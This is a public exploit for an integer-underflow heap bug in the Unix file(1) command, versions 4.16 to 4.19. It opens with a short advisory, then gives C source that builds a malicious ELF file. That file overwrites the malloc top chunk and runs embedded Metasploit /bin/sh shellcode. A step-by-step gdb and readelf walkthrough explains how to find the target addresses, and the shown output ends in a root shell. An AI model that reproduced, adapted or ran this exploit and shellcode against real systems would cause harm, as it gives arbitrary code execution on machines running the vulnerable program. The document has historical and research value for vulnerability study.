// source: https://www.securityfocus.com/bid/23021/info
The file(1) command is prone to an integer-underflow vulnerability because the command fails to adequately handle user-supplied data.
An attacker can leverage this issue to corrupt heap memory and execute arbitrary code with the privileges of a user running the command. A successful attack may result in the compromise of affected computers. Failed attempts will likely cause denial-of-service conditions.
Versions prior to 4.20 are vulnerable.
/*
* hanuman.c
*
* file(1) exploit for version 4.16 to 4.19.
* Coded by Jean-Sebastien Guay-Leroux
* http://www.guay-leroux.com
*
*/
/*
Here are the steps to find the 3 memory values to use for the
file(1)
exploit.
1- The first step is to generate a core dump file from file(1).
You will
then have to analyze this core dump to find the proper values for
your
exploit.
To generate the core file, get an approximation of the top chunk
location
by getting the base address of the BSS section:
bash# readelf -S /usr/bin/file
Section Headers:
[Nr] Name Type Addr
[ 0] NULL 00000000
[ 1] .interp PROGBITS 080480f4
[...]
[22] .bss NOBITS 0804b1e0
The BSS section starts at 0x0804b1e0. Let's call the exploit the
following
way, and remember to replace 0x0804b1e0 for the BSS value you have
found:
bash# ./hanuman 0xc0c0c0c0 0x0804b1e0 0x0804b1e0 mal
--[ Using 0x804b1e0 as the top chunk location.
--[ Impossible to use 0xc0c0c0c0 as the return location. Using
0xc0c0c0c4
instead
--[ Impossible to use 0x804b1e0 as the return address. Using
0x804b1e1
instead
--[ The file has been written
bash# file mal
Segmentation fault (core dumped)
bash#
2- Call gdb on that core dump file.
bash# gdb -q file core.14854
Core was generated by `file mal'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/local/lib/libmagic.so.1...done.
Loaded symbols for /usr/local/lib/libmagic.so.1
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /usr/lib/gconv/ISO8859-1.so...done.
Loaded symbols for /usr/lib/gconv/ISO8859-1.so
#0 0x400a3d15 in mallopt () from /lib/i686/libc.so.6
(gdb)
3- The EAX register contains the address of the top chunk. It
might be
another register for you.
(gdb) info reg eax
eax 0x80614f8 134616312
(gdb)
4- Start searching from the location of the top chunk to find the
NOP
cushion. This will be the return address.
0x80614f8: 0xc0c0c0c1 0xb8bc0ee1 0xc0c0c0c1
0xc0c0c0c1
0x8061508: 0xc0c0c0c1 0xc0c0c0c1 0x73282027
0x616e6769
0x8061518: 0x2930206c 0x90909000 0x90909090
0x90909090
0x8061528: 0x90909090 0x90909090 0x90909090
0x90909090
0x8061538: 0x90909090 0x90909090 0x90909090
0x90909090
0x8061548: 0x90909090 0x90909090 0x90909090
0x90909090
0x8061558: 0x90909090 0x90909090 0x90909090
0x90909090
0x8061568: 0x90909090 0x90909090 0x90909090
0x90909090
0x8061578: 0x90909090 0x90909090 0x90909090
0x90909090
0x8061588: 0x90909090 0x90909090 0x90909090
0x90909090
0x8061598: 0x90909090 0x90909090 0x90909090
0x90909090
0x80615a8: 0x90909090 0x90909090 0x90909090
0x90909090
0x80615b8: 0x90909090 0x90909090
(gdb)
0x8061558 is a valid address.
5- To get the return location for your exploit, get a saved EIP
from a
stack frame.
(gdb) frame 3
#3 0x4001f32e in file_tryelf (ms=0x804bc90, fd=3, buf=0x0,
nbytes=8192) at
readelf.c:1007
1007 if (doshn(ms, class, swap, fd,
(gdb) x $ebp+4
0xbffff7fc: 0x400172b3
(gdb)
0xbffff7fc is the return location.
6- You can now call the exploit with the values that you have found.
bash# ./new 0xbffff7fc 0x8061558 0x80614f8 mal
--[ Using 0x80614f8 as the top chunk location.
--[ Using 0xbffff7fc as the return location.
--[ Impossible to use 0x8061558 as the return address. Using
0x8061559
instead
--[ The file has been written
bash# file mal
sh-2.05b#
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#define DEBUG 0
#define initial_ELF_garbage 75
//ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
statically
// linked
#define initial_netbsd_garbage 22
//, NetBSD-style, from '
#define post_netbsd_garbage 12
//' (signal 0)
// The following #define are from malloc.c and are used
// to compute the values for the malloc size and the top chunk size.
#define PREV_INUSE 0x1
#define SIZE_BITS 0x7 // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA
#define SIZE_SZ (sizeof(size_t))
#define MALLOC_ALIGNMENT (2 * SIZE_SZ)
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
#define MIN_CHUNK_SIZE 16
#define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK)
\
& ~MALLOC_ALIGN_MASK))
#define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \
< MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \
& ~MALLOC_ALIGN_MASK)
// Offsets of the note entries in the file
#define OFFSET_31_BYTES 2048
#define OFFSET_N_BYTES 2304
#define OFFSET_0_BYTES 2560
#define OFFSET_OVERWRITE 2816
#define OFFSET_SHELLCODE 4096
/* linux_ia32_exec - CMD=/bin/sh Size=68 Encoder=PexFnstenvSub
http://metasploit.com */
unsigned char scode[] =
"\x31\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27"
"\xe2\xc0\xb3\x83\xeb\xfc\xe2\xf4\x4d\xe9\x98\x2a\x75\x84\xa8\x9e"
"\x44\x6b\x27\xdb\x08\x91\xa8\xb3\x4f\xcd\xa2\xda\x49\x6b\x23\xe1"
"\xcf\xea\xc0\xb3\x27\xcd\xa2\xda\x49\xcd\xb3\xdb\x27\xb5\x93\x3a"
"\xc6\x2f\x40\xb3";
struct math {
int nnetbsd;
int nname;
};
struct sethead {
unsigned long topchunk_size;
unsigned long malloc_size;
};
// To be a little more independent, we ripped
// the following ELF structures from elf.h
typedef struct
{
unsigned char e_ident[16];
uint16_t e_type;
uint16_t e_machine;
uint32_t e_version;
uint32_t e_entry;
uint32_t e_phoff;
uint32_t e_shoff;
uint32_t e_flags;
uint16_t e_ehsize;
uint16_t e_phentsize;
uint16_t e_phnum;
uint16_t e_shentsize;
uint16_t e_shnum;
uint16_t e_shstrndx;
} Elf32_Ehdr;
typedef struct
{
uint32_t sh_name;
uint32_t sh_type;
uint32_t sh_flags;
uint32_t sh_addr;
uint32_t sh_offset;
uint32_t sh_size;
uint32_t sh_link;
uint32_t sh_info;
uint32_t sh_addralign;
uint32_t sh_entsize;
} Elf32_Shdr;
typedef struct
{
uint32_t n_namesz;
uint32_t n_descsz;
uint32_t n_type;
} Elf32_Nhdr;
struct sethead * set_head_compute
(unsigned long retloc, unsigned long retadr, unsigned long
toploc) {
unsigned long check_retloc, check_retadr;
struct sethead *shead;
shead = (struct sethead *) malloc (8);
if (shead == NULL) {
fprintf (stderr,
"--[ Could not allocate memory for sethead
structure\n");
exit (1);
}
if ( (toploc % 8) != 0 ) {
fprintf (stderr,
"--[ Impossible to use 0x%x as the top chunk location.",
toploc);
toploc = toploc - (toploc % 8);
fprintf (stderr, " Using 0x%x instead\n", toploc);
} else
fprintf (stderr,
"--[ Using 0x%x as the top chunk location.\n", toploc);
// The minus 8 is to take care of the normalization
// of the malloc parameter
shead->malloc_size = (retloc - toploc - 8);
// By adding the 8, we are able to sometimes perfectly hit
// the return address. To hit it perfectly, retadr must be a
multiple
// of 8 + 1 (for the PREV_INUSE flag).
shead->topchunk_size = (retadr + shead->malloc_size + 8) |
PREV_INUSE;
if (shead->topchunk_size < shead->malloc_size) {
fprintf (stderr,
"--[ ERROR: topchunk size is less than malloc size.\n");
fprintf (stderr, "--[ Topchunk code will not be
triggered\n");
exit (1);
}
check_retloc = (toploc + request2size (shead->malloc_size) + 4);
if (check_retloc != retloc) {
fprintf (stderr,
"--[ Impossible to use 0x%x as the return location. ",
retloc);
fprintf (stderr, "Using 0x%x instead\n", check_retloc);
} else
fprintf (stderr, "--[ Using 0x%x as the return location.\n",
retloc);
check_retadr = ( (shead->topchunk_size & ~(SIZE_BITS))
- request2size (shead->malloc_size)) | PREV_INUSE;
if (check_retadr != retadr) {
fprintf (stderr,
"--[ Impossible to use 0x%x as the return address.",
retadr);
fprintf (stderr, " Using 0x%x instead\n", check_retadr);
} else
fprintf (stderr, "--[ Using 0x%x as the return address.\n",
retadr);
return shead;
}
/*
Not CPU friendly :)
*/
struct math *
compute (int offset) {
int accumulator = 0;
int i, j;
struct math *math;
math = (struct math *) malloc (8);
if (math == NULL) {
printf ("--[ Could not allocate memory for math
structure\n");
exit (1);
}
for (i = 1; i < 100;i++) {
for (j = 0; j < (i * 31); j++) {
accumulator = 0;
accumulator += initial_ELF_garbage;
accumulator += (i * (initial_netbsd_garbage +
post_netbsd_garbage));
accumulator += initial_netbsd_garbage;
accumulator += j;
if (accumulator == offset) {
math->nnetbsd = i;
math->nname = j;
return math;
}
}
}
// Failed to find a value
return 0;
}
void
put_byte (char *ptr, unsigned char data) {
*ptr = data;
}
void
put_longword (char *ptr, unsigned long data) {
put_byte (ptr, data);
put_byte (ptr + 1, data >> 8);
put_byte (ptr + 2, data >> 16);
put_byte (ptr + 3, data >> 24);
}
FILE *
open_file (char *filename) {
FILE *fp;
fp = fopen ( filename , "w" );
if (!fp) {
perror ("Cant open file");
exit (1);
}
return fp;
}
void
usage (char *progname) {
printf ("\nTo use:\n");
printf ("%s <return location> <return address> ", progname);
printf ("<topchunk location> <output filename>\n\n");
exit (1);
}
int
main (int argc, char *argv[]) {
FILE *fp;
Elf32_Ehdr *elfhdr;
Elf32_Shdr *elfshdr;
Elf32_Nhdr *elfnhdr;
char *filename;
char *buffer, *ptr;
int i;
struct math *math;
struct sethead *shead;
int left_bytes;
unsigned long retloc, retadr, toploc;
unsigned long topchunk_size, malloc_size;
if ( argc != 5) {
usage ( argv[0] );
}
sscanf (argv[1], "0x%x", &retloc);
sscanf (argv[2], "0x%x", &retadr);
sscanf (argv[3], "0x%x", &toploc);
filename = (char *) malloc (256);
if (filename == NULL) {
printf ("--[ Cannot allocate memory for filename...\n");
exit (1);
}
strncpy (filename, argv[4], 255);
buffer = (char *) malloc (8192);
if (buffer == NULL) {
printf ("--[ Cannot allocate memory for file buffer\n");
exit (1);
}
memset (buffer, 0, 8192);
math = compute (1036);
if (!math) {
printf ("--[ Unable to compute a value\n");
exit (1);
}
shead = set_head_compute (retloc, retadr, toploc);
topchunk_size = shead->topchunk_size;
malloc_size = shead->malloc_size;
ptr = buffer;
elfhdr = (Elf32_Ehdr *) ptr;
// Fill our ELF header
sprintf(elfhdr->e_ident,"\x7f\x45\x4c\x46\x01\x01\x01");
elfhdr->e_type = 2; // ET_EXEC
elfhdr->e_machine = 3; // EM_386
elfhdr->e_version = 1; // EV_CURRENT
elfhdr->e_entry = 0;
elfhdr->e_phoff = 0;
elfhdr->e_shoff = 52;
elfhdr->e_flags = 0;
elfhdr->e_ehsize = 52;
elfhdr->e_phentsize = 32;
elfhdr->e_phnum = 0;
elfhdr->e_shentsize = 40;
elfhdr->e_shnum = math->nnetbsd + 2;
elfhdr->e_shstrndx = 0;
ptr += elfhdr->e_ehsize;
elfshdr = (Elf32_Shdr *) ptr;
// This loop lets us eat an arbitrary number of bytes in ms-
>o.buf
left_bytes = math->nname;
for (i = 0; i < math->nnetbsd; i++) {
elfshdr->sh_name = 0;
elfshdr->sh_type = 7; // SHT_NOTE
elfshdr->sh_flags = 0;
elfshdr->sh_addr = 0;
elfshdr->sh_size = 256;
elfshdr->sh_link = 0;
elfshdr->sh_info = 0;
elfshdr->sh_addralign = 0;
elfshdr->sh_entsize = 0;
if (left_bytes > 31) {
// filename == 31
elfshdr->sh_offset = OFFSET_31_BYTES;
left_bytes -= 31;
} else if (left_bytes != 0) {
// filename < 31 && != 0
elfshdr->sh_offset = OFFSET_N_BYTES;
left_bytes = 0;
} else {
// filename == 0
elfshdr->sh_offset = OFFSET_0_BYTES;
}
// The first section header will also let us load
// the shellcode in memory :)
// Indeed, by requesting a large memory block,
// the topchunk will be splitted, and this memory region
// will be left untouched until we need it.
// We assume its name is 31 bytes long.
if (i == 0) {
elfshdr->sh_size = 4096;
elfshdr->sh_offset = OFFSET_SHELLCODE;
}
elfshdr++;
}
// This section header entry is for the data that will
// overwrite the topchunk size pointer
elfshdr->sh_name = 0;
elfshdr->sh_type = 7; // SHT_NOTE
elfshdr->sh_flags = 0;
elfshdr->sh_addr = 0;
elfshdr->sh_offset = OFFSET_OVERWRITE;
elfshdr->sh_size = 256;
elfshdr->sh_link = 0;
elfshdr->sh_info = 0;
elfshdr->sh_addralign = 0;
elfshdr->sh_entsize = 0;
elfshdr++;
// This section header entry triggers the call to malloc
// with a user supplied length.
// It is a requirement for the set_head technique to work
elfshdr->sh_name = 0;
elfshdr->sh_type = 7; // SHT_NOTE
elfshdr->sh_flags = 0;
elfshdr->sh_addr = 0;
elfshdr->sh_offset = OFFSET_N_BYTES;
elfshdr->sh_size = malloc_size;
elfshdr->sh_link = 0;
elfshdr->sh_info = 0;
elfshdr->sh_addralign = 0;
elfshdr->sh_entsize = 0;
elfshdr++;
// This note entry lets us eat 31 bytes + overhead
elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_31_BYTES);
elfnhdr->n_namesz = 12;
elfnhdr->n_descsz = 12;
elfnhdr->n_type = 1;
ptr = buffer + OFFSET_31_BYTES + 12;
sprintf (ptr, "NetBSD-CORE");
sprintf (buffer + OFFSET_31_BYTES + 24 + 0x7c,
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB");
// This note entry lets us eat an arbitrary number of bytes +
overhead
elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_N_BYTES);
elfnhdr->n_namesz = 12;
elfnhdr->n_descsz = 12;
elfnhdr->n_type = 1;
ptr = buffer + OFFSET_N_BYTES + 12;
sprintf (ptr, "NetBSD-CORE");
for (i = 0; i < (math->nname % 31); i++)
buffer[OFFSET_N_BYTES+24+0x7c+i]='B';
// This note entry lets us eat 0 bytes + overhead
elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_0_BYTES);
elfnhdr->n_namesz = 12;
elfnhdr->n_descsz = 12;
elfnhdr->n_type = 1;
ptr = buffer + OFFSET_0_BYTES + 12;
sprintf (ptr, "NetBSD-CORE");
buffer[OFFSET_0_BYTES+24+0x7c]=0;
// This note entry lets us specify the value that will
// overwrite the topchunk size
elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_OVERWRITE);
elfnhdr->n_namesz = 12;
elfnhdr->n_descsz = 12;
elfnhdr->n_type = 1;
ptr = buffer + OFFSET_OVERWRITE + 12;
sprintf (ptr, "NetBSD-CORE");
// Put the new topchunk size 7 times in memory
// The note entry program name is at a specific, odd offset
(24+0x7c)?
for (i = 0; i < 7; i++)
put_longword (buffer + OFFSET_OVERWRITE + 24 + 0x7c + (i *
4),
topchunk_size);
// This note entry lets us eat 31 bytes + overhead, but
// its real purpose is to load the shellcode in memory.
// We assume that its name is 31 bytes long.
elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_SHELLCODE);
elfnhdr->n_namesz = 12;
elfnhdr->n_descsz = 12;
elfnhdr->n_type = 1;
ptr = buffer + OFFSET_SHELLCODE + 12;
sprintf (ptr, "NetBSD-CORE");
sprintf (buffer + OFFSET_SHELLCODE + 24 + 0x7c,
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB");
// Fill this memory region with our shellcode.
// Remember to leave the note entry untouched ...
memset (buffer + OFFSET_SHELLCODE + 256, 0x90, 4096-256);
sprintf (buffer + 8191 - strlen (scode), scode);
fp = open_file (filename);
if (fwrite (buffer, 8192, 1, fp) != 0 ) {
printf ("--[ The file has been written\n");
} else {
printf ("--[ Can not write to the file\n");
exit (1);
}
fclose (fp);
free (shead);
free (math);
free (buffer);
free (filename);
return 0;
}